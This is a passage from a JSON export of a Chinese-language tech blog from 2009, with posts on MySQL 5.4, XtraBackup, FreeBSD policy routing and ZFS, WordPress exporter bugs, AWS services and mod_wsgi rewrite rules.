    "body": "<a href=\"http://www.mysqlconf.com/mysql2009\">MySQL Conference &amp; Expo 2009</a> 上除了 <a href=\"http://www.oracle.com/\">Oracle</a> 買 <a href=\"http://www.sun.com/\">Sun</a> 以外的另外一個大新聞：<a href=\"http://dev.mysql.com/doc/mysql-5.4-features/en/index.html\">MySQL 5.4</a>。\r\n\r\n這個版本的狀態是 beta，把 <a href=\"http://code.google.com/p/google-mysql-tools/\">Google MySQL Tools</a> 裡相當多 patch 併入 <a href=\"http://dev.mysql.com/\">MySQL</a>。(尤其是對 <a href=\"http://www.innodb.com/\">InnoDB</a> 的部份)\r\n\r\n<a href=\"http://planet.mysql.com/\">MySQL Planet</a> 上面已經有不少 Sun 自己的測試報告。不過 MySQL Planet 上資料有點雜，要花點時間消化。想要看個大概的人可以從 <a href=\"http://dev.mysql.com/tech-resources/articles/mysql-54.html\">A Quick Look at MySQL 5.4</a> 開始看，這邊用圖表解釋效能的改善。",
    "title": "MySQL 5.4"
  },
  {
    "id": "1996",
    "body": "因為今年 <a href=\"http://osdc.tw/\">OSDC.TW</a> 講的 CDN 主題是偏向怎麼選與怎麼用，就沒有提到 <a href=\"http://www.cacheboy.net/\">Cacheboy CDN</a>。\r\n\r\nCacheboy 本來是一套改自 <a href=\"http://www.squid-cache.org/\">Squid</a> 2 的 Web proxy cache software，後來軟體改名叫 <a href=\"http://www.lusca.org/\">Lusca</a>，而 Cacheboy 原本的 domain 就拿來開 CDN 服務。\r\n\r\nCacheboy CDN 這個計畫是希望募集機器與頻寬，解決 Open Source 軟體在發行時爆量而造成當機不順的問題，也順便找出 Lusca 有什麼地方還不夠好。像是「<a href=\"http://cacheboy.blogspot.com/2009/04/lusca-and-cacheboy-improvements-in.html\">Lusca and Cacheboy improvements in the pipeline..</a>」這篇就是在 tune CDN 的時候找到問題。\r\n\r\n在 <a href=\"http://wiki.cacheboy.net/wiki/WhatIsBeingMirrored\">WhatIsBeingMirrored</a> 這頁可以看到目前使用 Cacheboy CDN 的服務，目前比較大 (也比較有名) 的是 <a href=\"http://mozilla.cdn.cacheboy.net/\">http://mozilla.cdn.cacheboy.net/</a> 這個，據說 <a href=\"http://www.mozilla.com/firefox/\">Mozilla Firefox</a> 3.0.9 更新就是靠他，然後流量就大爆發了...\r\n\r\n這個 CDN 計畫還蠻有趣的...",
    "title": "Cacheboy CDN"
  },
  {
    "id": "1998",
    "body": "<a href=\"http://www.youtube.com/\">YouTube</a> 能夠以聲音自動判斷影片內容是否在資料庫內，如果在資料庫內他就會將聲音拔除 (不是移除影片)。這個辨識系統是個黑盒子，於是就有人挑戰 YouTube 的聲音辨識系統，找出底線在哪裡：「<a href=\"http://www.csh.rit.edu/~parallax/\">Fun with YouTube's Audio Content ID System</a>」。\r\n\r\n方法很簡單 (trial-and-error，試誤法)，但結論很機車，像是居然抱怨 YouTube 沒有機制停權 XDDD：「我用了同一個帳號傳了 82 個影片，收到 35 封 Content ID email，但帳號沒事...」",
    "title": "挑戰 YouTube 的聲音辨識系統"
  },
  {
    "id": "1999",
    "body": "在「<a href=\"http://hideandsql.com/?p=44\">Why 5.4?</a>」這篇裡面有提到。\r\n\r\n這是在 <a href=\"http://www.mysqlconf.com/mysql2009\">MySQL Conference &amp; Expo 2009</a> 最常被問到的問題之一，為什麼這次 <a href=\"http://dev.mysql.com/\">MySQL</a> 釋出新版使用 \"5.4\" 這個奇怪的號碼。<a href=\"http://hideandsql.com/\">Ryan Thiessen</a> 剛好遇到參與決定這個版號的人，向他詢問的結果。\r\n\r\n原因是，功能比 6.0 少，但不想要用 5.5，因為暗示「進行到一半」，但又想要表示相較於 5.1 有巨大的進展，於是就訂為 \"5.4\"...\r\n\r\n嘴砲 XDDD",
    "title": "這次 MySQL 版號訂「5.4」的原因"
  },
  {
    "id": "2001",
    "body": "<a href=\"http://www.percona.com/docs/wiki/percona-xtrabackup:start\">XtraBackup</a> 是 <a href=\"http://www.percona.com/\">Percona</a> 開發的工具，可以線上備份 <a href=\"http://www.innodb.com/\">InnoDB</a> 的資料，而且不太會影響效能，速度比起 mysqldump 快很多。\r\n\r\n以往想要線上備份 InnoDB database，會用 InnoDB 所提供的 <a href=\"http://www.innodb.com/products/hot-backup/\">InnoDB Hot Backup</a>，但這套軟體不是 open source software，除此之外要收費。\r\n\r\nPercona 前陣子開始發展 open source 的版本，軟體叫做 XtraBackup，目前寫這篇文章時的最新版是 0.5-beta。\r\n\r\n剛剛試著從一台 production database (比較小台，3GB) 的備份，看起來相當順暢：\r\n<blockquote><code>sudo xtrabackup --defaults-file=/srv/mysql/var/my.cnf --backup --target-dir=/tmp/backup --datadir=/srv/mysql/var</code></blockquote>\r\n要注意的是參數的順序是有差異的，<code>--defaults-file</code> 一定要在最前面。另外 <code>my.cnf</code> 要記得指定，不然就是把 <code>my.cnf</code> 裡面所有設定值寫在命令列。\r\n\r\n<code>--backup</code> 不需要解釋，<code>--target-dir</code> 與 <code>--datadir</code> 也應該很好懂。\r\n\r\n直接輸入 <code>xtrabackup</code> 還有不少參數可以調整，像是 <code>--throttle</code> 這種參數可以限制 I/O 速度 (沒有實際用過)，有了這個參數，在比較忙碌的 database 上不用擔心過載...",
    "title": "XtraBackup：線上備份 InnoDB 的好東西"
  },
  {
    "id": "2002",
    "body": "<a href=\"http://wordpress.org/\">WordPress</a> 的 exporter 做的實在是很沒誠意...\r\n\r\nWordPress 的 exporter 是 XML 格式，說更實際一點是 RSS 2.0 + 自訂的 namespace。不過 WordPress 實際上是自己把欄位內容 echo 出來，於是就有一卡車欄位沒有 escape...\r\n\r\n首先是踩到「<a href=\"https://core.trac.wordpress.org/ticket/9524\">Exporter does not escape url</a>」這個地雷，沒有對 <code>&lt;wp:comment_author_url&gt;&lt;/wp:comment_author_url&gt;</code> 這個欄位 escape，於是當 url 帶有 &amp; 時就... *boom*\r\n\r\n幫 WordPress patch 後又遇到另外一個問題：「<a href=\"https://core.trac.wordpress.org/ticket/9633\">wp:meta_value does not escape correctly</a>」，這次換成 <code>&lt;wp:meta_value&gt;&lt;/wp:meta_value&gt;</code> 沒有 escape...\r\n\r\n到底是怎樣啊... 我猜還會再中某些欄位地雷 \\_/",
    "title": "WordPress 的 exporter"
  },
  {
    "id": "2003",
    "body": "「我們的 DNS 是用 <a href=\"http://www.oracle.com/\">Oracle</a> 的 server！！！」\r\n\r\n這句話聽起來就很威...\r\n\r\n參考：「<a href=\"http://blog.gslin.org/archives/2009/04/20/1991/\">Oracle 買 Sun</a>」這篇。",
    "title": "我們的 DNS 是用 Oracle 的 server！！！"
  },
  {
    "id": "2004",
    "body": "<a href=\"http://www.mysqlconf.com/mysql2009\">MySQL Conference &amp; Expo 2009</a> 已經結束了，有蠻多講者已經把投影片交給大會，由大會公佈在網頁上，有興趣的人可以在裡面翻有趣的題材：「<a href=\"http://www.mysqlconf.com/mysql2009/public/schedule/proceedings\">Speaker Presentation Files: MySQL Conference & Expo 2009</a>」。\r\n\r\n由於是 <a href=\"http://www.sun.com/\">Sun</a> 辦的會議，有些檔案會是 ODP 格式 (需要用 <a href=\"http://www.openoffice.org/product/impress.html\">OpenOffice Impress</a> 開)。\r\n\r\n有些主題還蠻有趣的，這個週末應該會翻翻...\r\n\r\n下面是我推薦的清單，有機會就會增加：\r\n<ul>\r\n\t<li><a href=\"http://www.mysqlconf.com/mysql2009/public/schedule/detail/6796\">Covering Indexes: Retrieving Data Without Accessing It</a>：很基本的觀念，介紹 MyISAM 與 InnoDB 的 index 運作方式 (要稍微懂一些資料結構)，另外教你怎麼設 index。</li>\r\n\t<li><a href=\"http://www.mysqlconf.com/mysql2009/public/schedule/detail/6661\">Mastering the Art of Indexing</a>：也是介紹 index 的，但比上面那份詳細很多，另外有很多傳統硬碟與 SSD 的比較。</li>\r\n\t<li><a href=\"http://www.mysqlconf.com/mysql2009/public/schedule/detail/6871\">New Replication Features</a>：講 replication。</li>\r\n\t<li><a href=\"http://www.mysqlconf.com/mysql2009/public/schedule/detail/7121\">Optimizing MySQL Performance with ZFS</a>：討論 MySQL (主要是 InnoDB) 在 ZFS 上的效能。</li>\r\n\t<li><a href=\"http://www.mysqlconf.com/mysql2009/public/schedule/detail/6881\">Replication Tricks &amp; Tips</a>：講 replication。</li>\r\n\t<li><a href=\"http://www.mysqlconf.com/mysql2009/public/schedule/detail/6873\">Replication Tutorial</a>：主要是 tutorial，最後面有提到一些在 replication 環境下 transaction 的問題。</li>\r\n</ul>",
    "title": "MySQL Conference & Expo 2009"
  },
  {
    "id": "2006",
    "body": "<a href=\"http://www.percona.com/\">Percona</a> 在 4/22、4/23 也辦了一場「<a href=\"http://conferences.percona.com/percona-performance-conference-2009/schedule.html\">PERFORMANCE IS EVERYTHING</a>」，地點與 <a href=\"http://www.mysqlconf.com/mysql2009\">MySQL Conference &amp; Expo 2009</a> 一樣，而且還強調不需要報名費用 XD\r\n\r\nPercona 對 <a href=\"http://www.sun.com/\">Sun</a>/<a href=\"http://www.mysql.com/\">MySQL</a> 不滿其實也不是一天兩天的事情了，選相同的日期與地點 (同一棟大樓) 還蠻感覺得出來敵意...\r\n\r\n拿兩邊的題目來看，其實 Percona 場的題目比起 <a href=\"http://www.sun.com/\">Sun</a>/<a href=\"http://www.mysql.com/\">MySQL</a> 辦的好多了。很多人對底層並沒有興趣，而是對「實用方法」有興趣。而且 Percona 的場子也看得出來各大 high-traffic site 的大頭都蠻捧場的 (有些人大概是不想得罪，兩邊都有講)，題目也廣多了。\r\n\r\n等講者把 Percona 場的投影片放出來後再來看看內容...",
    "title": "Percona 的 PERFORMANCE IS EVERYTHING"
  },
  {
    "id": "2007",
    "body": "順著第一次推出 3.5beta 時抓下來玩，穩定性似乎還可以 (目前還沒遇過 crash)，要再多跑一陣子才會比較準。\r\n\r\n大概是我的 extensions 裝太多了，感覺速度與 3.0 沒有差異。不過在 heavy loading 時 (故意同時開很多新的網頁) 比 3.0 順暢不少。\r\n\r\n另外記事升級後發現我自己的 blog 有使用 css3 的陰影效果 (<code>text-shadow</code>)，應該是很久前自己改的...",
    "title": "換上 Firefox 3.5beta4"
  },
  {
    "id": "2008",
    "body": "<a href=\"http://www.smugmug.com/\">Smugmug</a> 在 <a href=\"http://www.mysqlconf.com/mysql2009\">MySQL Conference &amp; Expo 2009</a> 大約 40mins 的 presentation：\r\n\r\n<embed src=\"http://blip.tv/play/Afz8CYa8EA\" type=\"application/x-shockwave-flash\" width=\"480\" height=\"292\" allowscriptaccess=\"always\" allowfullscreen=\"true\"></embed>\r\n\r\nSmugmug 與<a href=\"http://www.wretch.cc/\">無名</a>的量在同個等級 (比無名小一些，my guess)，但全部都是付費使用者，可以在投影片上看到很多很實際也很有趣的想法。",
    "title": "Smugmug 在 MySQL Conf 09 上的錄影"
  },
  {
    "id": "2010",
    "body": "昨天弄了一整個下午，差點被搞死...\r\n\r\n<a href=\"http://www.freebsd.org/\">FreeBSD</a> 下想要依照 source ip 而決定 next hop 可以用 <a href=\"http://www.freebsd.org/doc/en/books/handbook/firewalls-ipfw.html\">ipfw</a> 或是 <a href=\"http://www.openbsd.org/faq/pf/\">pf</a> 達成。\r\n\r\nipfw 的設定會像這樣：\r\n<blockquote><code>ipfw fwd 192.168.1.1 ip from 192.168.1.0/24 to not 192.168.1.0/24</code></blockquote>\r\n而 pf 的設定會像這樣：\r\n<blockquote><code>pass out quick route-to (em0 192.168.1.1) from 192.168.1.0/24 to ! 192.168.1.0/24 no state</code></blockquote>\r\n最後面的 <code>no state</code> 很重要，找了一下午就是這個關鍵字而已 XD\r\n\r\n會使用 pf 是因為現在都跑 FreeBSD amd64，用 FreeBSD 官方的 binary 都已經包含 SSE2 instructions，所以系統都用 <a href=\"http://www.daemonology.net/freebsd-update/\">freebsd-update</a> 在管理。官方的 binary 並沒有把 ipfw 的 IPFIREWALL_FORWARD 編進去，所以不能用 <code>ipfw fwd</code>，花了一個下午才搞懂 pf 要怎麼設定...\r\n\r\n記起來，以後應該會 <a href=\"http://www.google.com/\">google</a> 到自己的文章...",
    "title": "FreeBSD 下的 policy routing"
  },
  {
    "id": "2011",
    "body": "看到 <a href=\"http://blog.lwhsu.org/\">lwhsu</a> 在 <a href=\"http://www.plurk.com/\">Plurk</a> 上提到最近 *BSD 都在出新版，發現不只是 <a href=\"http://www.netbsd.org/\">NetBSD</a> 與 <a href=\"http://www.openbsd.org/\">OpenBSD</a>，連 <a href=\"http://www.dragonflybsd.org/\">DragonFlyBSD</a> 最近也出新版，而下禮拜 <a href=\"http://www.freebsd.org/\">FreeBSD</a> 7.2 也要 release... (不知道會 delay 多久)\r\n\r\n<strong>Update</strong>：FreeBSD 7.2-RELEASE 釋出了。\r\n\r\n可能要玩 NetBSD，如果他的 lock mechanism 改的比 FreeBSD 好的話...",
    "title": "*BSD 出新版..."
  },
  {
    "id": "2012",
    "body": "<a href=\"http://www.freebsd.org/\">FreeBSD</a> 有 <a href=\"http://en.wikipedia.org/wiki/ZFS\">ZFS</a> 可以用，最早的時是自己寫 script 產生 snapshot，並且自動 rotate，現在則是用 <a href=\"http://www.freshports.org/sysutils/zfs-snapshot-mgmt/\">sysutils/zfs-snapshot-mgmt</a> 做到...\r\n\r\n設定檔是 <a href=\"http://www.yaml.org/\">YAML</a> 格式，裡面的數字大多都是以分鐘為單位 (不是秒，曾經搞錯，過了一個禮拜才發現...)，由於有 sample config 可以看，這邊就不提了。\r\n\r\n除此以外要注意的是，在產生 snapshot 時是以 GMT 時間為準，但命名 snapshot name 時卻是以是以當地時間為準，所以可能會看到八個小時的差異 (如果系統有設定 timezone)，基本上不用太在意。如果真的在意，可以用 offset 這個參數調整。",
    "title": "FreeBSD ZFS 自動產生 Snapshot 工具"
  },
  {
    "id": "2013",
    "body": "用 <a href=\"http://unknowngenius.com/blog/wordpress/spam-karma/\">Spam Karma</a> 很久了，不過最近容易漏 spam 進來，然後發現 Spam Karma GPL 以後就沒有太多進展 (最新一次 commit 是二月)，決定換成 <a href=\"http://akismet.com/\">Akismet</a> 看看效果如何。\r\n\r\n如果誤判太嚴重，或是漏掉的比 Spam Karma 多就會換回來... 要測一陣子才知道。",
    "title": "換成 Akismet"
  },
  {
    "id": "2014",
    "body": "<a href=\"http://www.freebsd.org/\">FreeBSD</a> 7.2-RELEASE 在前幾天順利放出來了，正式的公告在「<a href=\"http://www.freebsd.org/releases/7.2R/announce.html\">FreeBSD 7.2-RELEASE Announcement</a>」這裡可以看到，與 FreeBSD 7.1 主要的差異在「<a href=\"http://www.freebsd.org/releases/7.2R/relnotes.html\">FreeBSD 7.2-RELEASE Release Notes</a>」可以查到。\r\n\r\n對我最主要的差異應該是 amd64 平台上 kernel virtual address space 拉高到 6GB，用 <a href=\"http://wiki.freebsd.org/ZFS\">FreeBSD ZFS</a> 不需要再調整 vm 參數了，預設的大小就夠用。\r\n\r\n不過，大概是太準時的關係，libc 有個蠻嚴重的 bug 沒有在 release 前被找到：(參考「<a href=\"http://www.freebsd.org/releases/7.2R/errata.html\">FreeBSD 7.2-RELEASE Errata</a>」)\r\n<blockquote>[20090504] A lock handling error has been found in interaction between malloc(3) implementation and threading library. When a multi-threaded process calls the fork(2) system call in a thread and the malloc(3) function in another thread, it can cause a deadlock in the child process. An Errata Notice to fix this problem is planned after the release.</blockquote>\r\n當一個 thread 在 fork()，另一個在 malloc()，產生出來的 child process 會 deadlock...\r\n\r\n不曉得會不會如同 <a href=\"http://twitter.com/delphij/status/1697571797\">delphij</a> &amp; <a href=\"http://twitter.com/lwhsu/status/1702525921\">lwhsu</a> 講的，出 7.2.1-RELEASE 修正這個 bug...",
    "title": "FreeBSD 7.2-RELEASE"
  },
  {
    "id": "2015",
    "body": "<a href=\"http://www.europarl.europa.eu/\">歐盟議會</a>以 138:46 的票數否決三振條款：「<a href=\"http://www.laquadrature.net/en/amendment-138-46-adopted-again\">Amendment 138/46 adopted again. Internet is a fundamental right in Europe.</a>」。\r\n\r\n文內提到「使用 Internet」被認定為基本權利之一...",
    "title": "歐盟議會否決三振條款"
  },
  {
    "id": "2016",
    "body": "之前在「<a href=\"http://blog.gslin.org/archives/2009/04/24/2002/\">WordPress 的 exporter</a>」這篇提到 <a href=\"http://wordpress.org/\">WordPress</a> 的匯出程式很糟。最後我是直接把用不到的欄位用 <code>preg_replace()</code> 幹掉，避免 XML library 因為語法錯誤而無法匯入。\r\n\r\n雖然暫時解決了，不過還是看看目前的進度，發現有計劃要以 XML library 改寫，但是沒人跳下去寫：「<a href=\"https://core.trac.wordpress.org/ticket/8471\">make export/import output valid xml and parse xml using simplexml</a>」，這個計畫大概是遙遙無期... XD",
    "title": "WordPress exporter"
  },
  {
    "id": "2017",
    "body": "<a href=\"http://www.percona.com/\">Percona</a> 的 Vadim 示範如何用 <a href=\"http://www.percona.com/docs/wiki/percona-xtrabackup:start\">XtraBackup</a> 產生一份 slave 需要的資料：「<a href=\"http://www.mysqlperformanceblog.com/2009/05/07/btw-xtrabackup-is-not-only-backup/\">Btw xtrabackup is not only backup..</a>」。\r\n\r\n方法是用 xtrabackup 將資料以 tar 格式輸出到 stdout，透過 pipe + ssh 直接寫入預定要當 slave 的 server，所以這個方法不用擔心原本的 master server 空間不足的問題。",
    "title": "用 XtraBackup 產生 slave"
  },
  {
    "id": "2018",
    "body": "<a href=\"http://dev.mysql.com/\">MySQL</a> 5.0 有分 community branch (奇數號，像是 5.0.77) 與 enterprise branch (偶數號，像是 5.0.78)，現在兩者合併了：「<a href=\"http://www.xaprb.com/blog/2009/05/13/the-quiet-end-of-the-community-enterprise-split/\">The quiet end of the community-enterprise split</a>」，bzr log 在這：「<a href=\"http://bazaar.launchpad.net/~mysql/mysql-server/mysql-5.0/revision/2781\">Merge community up to enterprise, thus ending the community-server\r\nadventure.</a>」。\r\n\r\n之後 MySQL 5.0 就不會分成 Community 版本與 Enterprise 版本，修 bug 的時候也只要注意一個版本就可以了。",
    "title": "MySQL 5.0 整合"
  },
  {
    "id": "2019",
    "body": "去年六月的時候搞了一個 <a href=\"http://www.ffmpeg.org/\">FFmpeg</a> ports (參考「<a href=\"http://blog.gslin.org/archives/2008/06/15/1523/\">FFmpeg 的 FreeBSD ports</a>」)，但是因為 <a href=\"http://www.videolan.org/developers/x264.html\">x264</a> 改 function call，所以那個 SVN 版本不能用了...\r\n\r\n大概一個月前試著 checkout ffmpeg 新版下來更新，發現有錯誤訊息，因為當時忙就沒有試著找 bug，剛好這兩天有空，就花了一些時間 trace 問題，發現是沒有定義 <code>__BSD_VISIBLE</code> 的問題造成的，暫時先用 <code>#define __BSD_VISIBLE 1</code> 的方式解掉...\r\n\r\n這次的版本是 r18864，把 <code>libavdevice/bktr.c</code>、<code>libavdevice/oss_audio.c</code>、<code>libavformat/udp.c</code> 三個檔案最前面加上上面說的 define 就會過了。\r\n\r\n晚點有時間再把 port 整理出來，更新 <a href=\"http://wiki.gslin.org/ffmpeg\">http://wiki.gslin.org/ffmpeg</a> 這邊...",
    "title": "在 FreeBSD 上裝 FFmpeg"
  },
  {
    "id": "2020",
    "body": "<a href=\"http://dougbarton.us/portmaster.html\">portmaster</a> 是一套 <a href=\"http://www.freebsd.org/\">FreeBSD</a> 下的套件升級工具，已經用了一陣子... (參考二月時「<a href=\"http://blog.gslin.org/archives/2009/02/24/1951/\">portmaster</a>」這篇文章)\r\n\r\n這次從 <code>portmaster -BDuw</code> 換成 <code>portmaster -BDtuw</code> 了。\r\n\r\n隨便舉個例子，以 cs-metaPort 為例，假設這個 port 有三個 dependency packages，分別為 cs-basicSoftware、cs-wwwSoftware、cs-securitySoftware，而這三個 dependency packages 下面又有一卡車的 dependency packages...\r\n\r\n使用 <code>portmaster -BDuw cs-metaPort</code> 會先檢查 cs-{basicSoftware,wwwSoftware,securitySoftware} 是否有新版，如果只有 cs-basicSofteare 有新版，才會繼續遞迴下去...\r\n\r\n但如果用 <code>portmaster -BDtuw cs-metaPort</code>，則是一開始會用 <code>all-depends-list</code> 列出所有的 packages 檢查。\r\n\r\n可以依照不同的情況使用...",
    "title": "portmaster"
  },
  {
    "id": "2022",
    "body": "目前看到兩個，一個是 <a href=\"http://www.edgecast.com/\">EdgeCast</a>，主要是 static files，像是 s.wordpress.com 與 s2.wordpress.com，效果還可以。\r\n\r\n另外一個是 <a href=\"http://www.internap.com/cdn-services/\">Internap CDN</a>，用在 video 的部份，像是 cdn.videos.wordpress.com。從台灣連過去效果非常差，會選 <a href=\"http://www.internap.com/\">Internap</a> 應該是因為成本的考量...",
    "title": "WordPress.com 的 CDN"
  },
  {
    "id": "2023",
    "body": "用 <a href=\"http://www.google.com/\">Google</a> 翻資料，結果三月初的時候有人試著 benchmark，結果還蠻讓人意外：「<a href=\"http://groups.google.com/group/protobuf/browse_thread/thread/324688e7c96b5001\">Performance comparison of Thrift, JSON and Protocol Buffers</a>」。\r\n\r\n結論是 <a href=\"http://www.json.org/\">JSON</a> 在速度上不會輸給 <a href=\"http://code.google.com/p/protobuf/\">Protocol Buffers</a> 與 <a href=\"http://developers.facebook.com/thrift/\">Thrift</a>。討論出來的原因是因為 Protocol Buffers 與 Thrift 的功能比 JSON 多出太多。\r\n\r\n不過我應該會用 JSON 寫東西吧，畢竟是個 open standard...",
    "title": "JSON、Protocol Buffers、Thrift 的效率比較"
  },
  {
    "id": "2024",
    "body": "<a href=\"http://aws.amazon.com/\">Amazon Web Services</a> 在 <a href=\"http://aws.amazon.com/ec2\">EC2</a> 上推出新的服務：「<a href=\"http://aws.typepad.com/aws/2009/05/new-aws-load-balancing-automatic-scaling-and-cloud-monitoring-services.html\">New Features for Amazon EC2: Elastic Load Balancing, Auto Scaling, and Amazon CloudWatch</a>」。\r\n\r\n這次推出了三個新服務，第一個是 <a href=\"http://aws.amazon.com/elasticloadbalancing\">Elastic Load Balancing</a>，支援 HTTP 與 HTTPS。以前是自己開一台 instance 架設 (像是 <a href=\"http://haproxy.1wt.eu/\">HAProxy</a>)，現在由 <a href=\"http://www.amazon.com/\">Amazon</a> 直接提供，簡化 Load balancer 的管理問題。(因為大多數的 open source load balancer 並沒有專門接 Amazon EC2 的 instance api，所以會需要自己寫一些程式接，但自己寫的 code quality 不一定穩定...)\r\n\r\n第二個服務是 <a href=\"http://aws.amazon.com/cloudwatch\">CloudWatch</a>，用以監控 instance 資訊，這個部份有不少 open source solution 可以用，而且產生的資料都還不錯 (也就是「堪用」)，所以好處沒有像上面的 load balancing 那麼明顯。\r\n\r\n第三個服務是 <a href=\"http://aws.amazon.com/autoscaling\">Auto Scaling</a>，利用 CloudWatch 所取得的資訊，當系統負載達到設定的條件時就加機器，或是在負載降低時減少機器 (像是 web server)。這個功能在很早前就有人做了，像是去年四月 <a href=\"http://www.techcrunch.com/\">TechCrunch</a> 就有報導過的 open source solution：「<a href=\"http://www.techcrunch.com/2008/04/03/scalr-the-auto-scaling-open-source-amazon-ec2-effort/\">Scalr: The Auto-Scaling Open-Source Amazon EC2 Effort</a>」，或是專門靠此賺錢的 <a href=\"http://www.rightscale.com/\">RightScale</a> (這項服務對於 RightScale 很傷，由於 Amazon 提供 API，會更容易開發 open source solution...)\r\n\r\n補上這些東西後，現在 Amazon Web Services 比較缺的是 cache 的機制... (open source solution 有 <a href=\"http://www.danga.com/memcached/\">memcached</a>，不過跑 memcached 時 cpu resource 實在用不到這麼多，開 15GB RAM instance 還附帶 \"8 EC2 Compute Units\"...)",
    "title": "Amazon Web Services 又推出新服務..."
  },
  {
    "id": "2026",
    "body": "只貼 code... (還蠻常用到的技巧)\r\n<pre>(function($){\r\n    // you can use $ even if jQuery.noConflict()...\r\n})(jQuery);</pre>",
    "title": "jQuery 與 $"
  },
  {
    "id": "2027",
    "body": "<a href=\"http://www.freebsd.org/\">FreeBSD</a> ZFSv13 終於進入 RELENG_7 了：「<a href=\"http://svn.freebsd.org/changeset/base/192498\">svn commit: r192498</a>」。\r\n\r\n幾個重要的改變：\r\n<ul>\r\n\t<li>kmem now goes up to 512GB so arc is now limited by physmem (kmem 再度拉高到 512GB)</li>\r\n\t<li>the arc now experiences backpressure from the vm (which can be too much - but this allows ZFS to work without any tunables on amd64) (我不確定這個說明的意思，猜測是指當非 ZFS 需要系統資源時，cache 所使用的記憶體空間會放出來給 kernel 用)</li>\r\n</ul>\r\n另外 commit log 有個讓人還蠻在意的地方：\r\n<blockquote>Supported by: Barrett Lyon, BitGravity</blockquote>\r\n<a href=\"http://www.bitgravity.com/\">BitGravity</a> (一家 CDN company) 的 CTO 贊助 XDDDDD",
    "title": "FreeBSD ZFSv13 進 RELENG_7"
  },
  {
    "id": "2028",
    "body": "這是 <a href=\"http://www.stanford.edu/\">Stanford</a> 的課程：「<a href=\"http://cs193h.stevesouders.com/\">CS193H: High Performance Web Sites</a>」。\r\n\r\n很密集的課程，幾乎都有投影片，每次 50mins 的課程。有不斷在看目前 Web 發展趨勢的人應該都對這些資訊稍微瞭解，不過對於想入門的人倒是相當好的導引。",
    "title": "High Performance Web Sites"
  },
  {
    "id": "2029",
    "body": "去年年底在「<a href=\"http://blog.gslin.org/archives/2008/12/06/1877/\">博客來的網站的註冊頁面...</a>」這篇提到無法在 books 註冊的原因終於找到了，因為<a href=\"http://www.books.com.tw/\">博客來</a>註冊頁 (也就是 https://db.books.com.tw/newmember.php 這頁) 的「同意」擋 Referer。\r\n\r\n當你有裝防毒軟體，並打開隱私權設定 (有一些防毒軟體在安裝完後就是這樣) 就會造成問題。\r\n\r\n好久沒看到這種網站了...",
    "title": "無法註冊在博客來的原因"
  },
  {
    "id": "2030",
    "body": "《<a href=\"http://zh.wikipedia.org/wiki/%E7%91%AA%E8%8E%89%E4%BA%9E%E7%9A%84%E5%87%9D%E6%9C%9B\">瑪莉亞的凝望</a>》第三本看到一半，到 <a href=\"http://twitter.com/\">Twitter</a> 上看到 <a href=\"http://jeremy.zawodny.com/blog/\">Jeremy Zawodny</a> (<a href=\"http://oreilly.com/\">O'Reilly</a> 出的 High Performance MySQL 第一版與第二版的作者之一) 在喊 MySQL ALTER TABLE 跑了八天了：\r\n<blockquote><a href=\"http://twitter.com/jzawodn/status/1926136876\">I have an ALTER TABLE running for nearly 8 days now... yikes.</a></blockquote>\r\n結果 Aaron Brazell 居然很機車的這樣問他 XDDD\r\n<blockquote><a href=\"http://twitter.com/technosailor/statuses/1926145228\">@jzawodn Removing South Carolina from all Craigslist tables?</a></blockquote>\r\n如果不清楚 <a href=\"http://www.craigslist.org/\">Craigslist</a> 與南卡的新聞，可以參考紐約時報「<a href=\"http://www.nytimes.com/2009/05/14/technology/companies/14craigslist.html?_r=1\">Under Pressure, Craigslist to Remove ‘Erotic’ Ads</a>」這篇的說明。\r\n\r\nAnyway，Jeremy Zawodny 有說明這次的目的是要把舊的 InnoDB 轉成 XtraDB compression 格式：\r\n<blockquote><a href=\"http://twitter.com/jzawodn/status/1926371167\">the big ALTER TABLE is to enable InnoDB/XtraDB compression on ~650M records (old CL postings)</a></blockquote>\r\n簡單提一下 <a href=\"http://dev.mysql.com/\">MySQL</a> 搭配一些 open source solution 的運作方式。\r\n\r\n首先是要打開 replication，有 master 與 slave server(s)。寫入都到 master，讀取到 slave。(這邊為了說明方便，暫時不考慮 replication delay)\r\n\r\n除了 master/slave 讓前端的 application servers 或 web servers 存取外，另外建立一套 slave server，上面有 snapshot filesystem (像是 <a href=\"http://www.linux.org/\">Linux</a> 的 LVM，或是效能較好的 <a href=\"http://www.sun.com/software/solaris/\">Solaris</a>/<a href=\"http://opensolaris.org/\">OpenSolaris</a> 的 <a href=\"http://en.wikipedia.org/wiki/ZFS\">ZFS</a>)，用 cron 定時將 MySQL 暫停並寫入磁碟，產生 snapshot。\r\n\r\n在這樣的架構下，當需要 ALTER TABLE 而且已經知道會卡很久時，我們可以從 snapshot 上先複製一份完整的資料，建立一台 MySQL server 並且在上面 ALTER，等到完成後再接回 master server，將 replication delay 的部份補上。如果想確認資料正確性，可以跑 <a href=\"http://www.maatkit.org/doc/mk-table-checksum.html\">mk-table-checksum</a> 確認。當 replication delay 跟上後，停機時間不用太長就可以將 master 換成這份新的格式。\r\n\r\n雖然 Jeremy Zawodny 沒有詳細說明，不過應該是類似的方法。\r\n\r\n<strong>Update</strong>：Jeremy Zawodny 在「<a href=\"http://jeremy.zawodny.com/blog/archives/011195.html\">The Big ALTER TABLE Test</a>」這篇有提到結果。",
    "title": "MySQL ALTER TABLE"
  },
  {
    "id": "2032",
    "body": "<a href=\"http://code.google.com/p/modwsgi/\">mod_wsgi</a> 是 <a href=\"http://httpd.apache.org/\">apache</a> 上 <a href=\"http://www.python.org/dev/peps/pep-0333/\">PEP-333</a> 的實做軟體，使用 <a href=\"http://www.python.org/\">Python</a> 開發 web application 的人不用知道怎麼介接。\r\n\r\n既然是 <code>.htaccess</code>，apache 的部份就不講了。\r\n\r\n<strong>Update</strong>：修正 mod_rewrite 的部份。\r\n\r\n先從最簡單的「所有 request 都丟給 index.py」開始：\r\n<blockquote><code>SetHandler wsgi-script\r\nRewriteEngine on\r\nRewriteBase /~gslin/py/\r\nRewriteRule ^index.py$ - [L]\r\nRewriteRule ^(.*)$ index.py/$1 [L]</code></blockquote>\r\n如果不希望連靜態檔案都透過 index.py 處理 (像是 robots.txt)，要做兩件事情。第一件是限制 wsgi-script 的範圍：\r\n<blockquote><code>&lt;Files *.py&gt;\r\nSetHandler wsgi-script\r\n&lt;/Files&gt;</code></blockquote>\r\n然後修改 <a href=\"http://httpd.apache.org/docs/2.2/mod/mod_rewrite.html\">mod_rewrite</a> 的條件，只有檔案不存在的 request 才丟給 index.py：\r\n<blockquote><code>RewriteEngine on\r\nRewriteBase /~gslin/py/\r\nRewriteRule ^index.py$ - [L]\r\nRewriteCond %{REQUEST_FILENAME} !-f\r\nRewriteRule ^(.*)$ index.py/$1 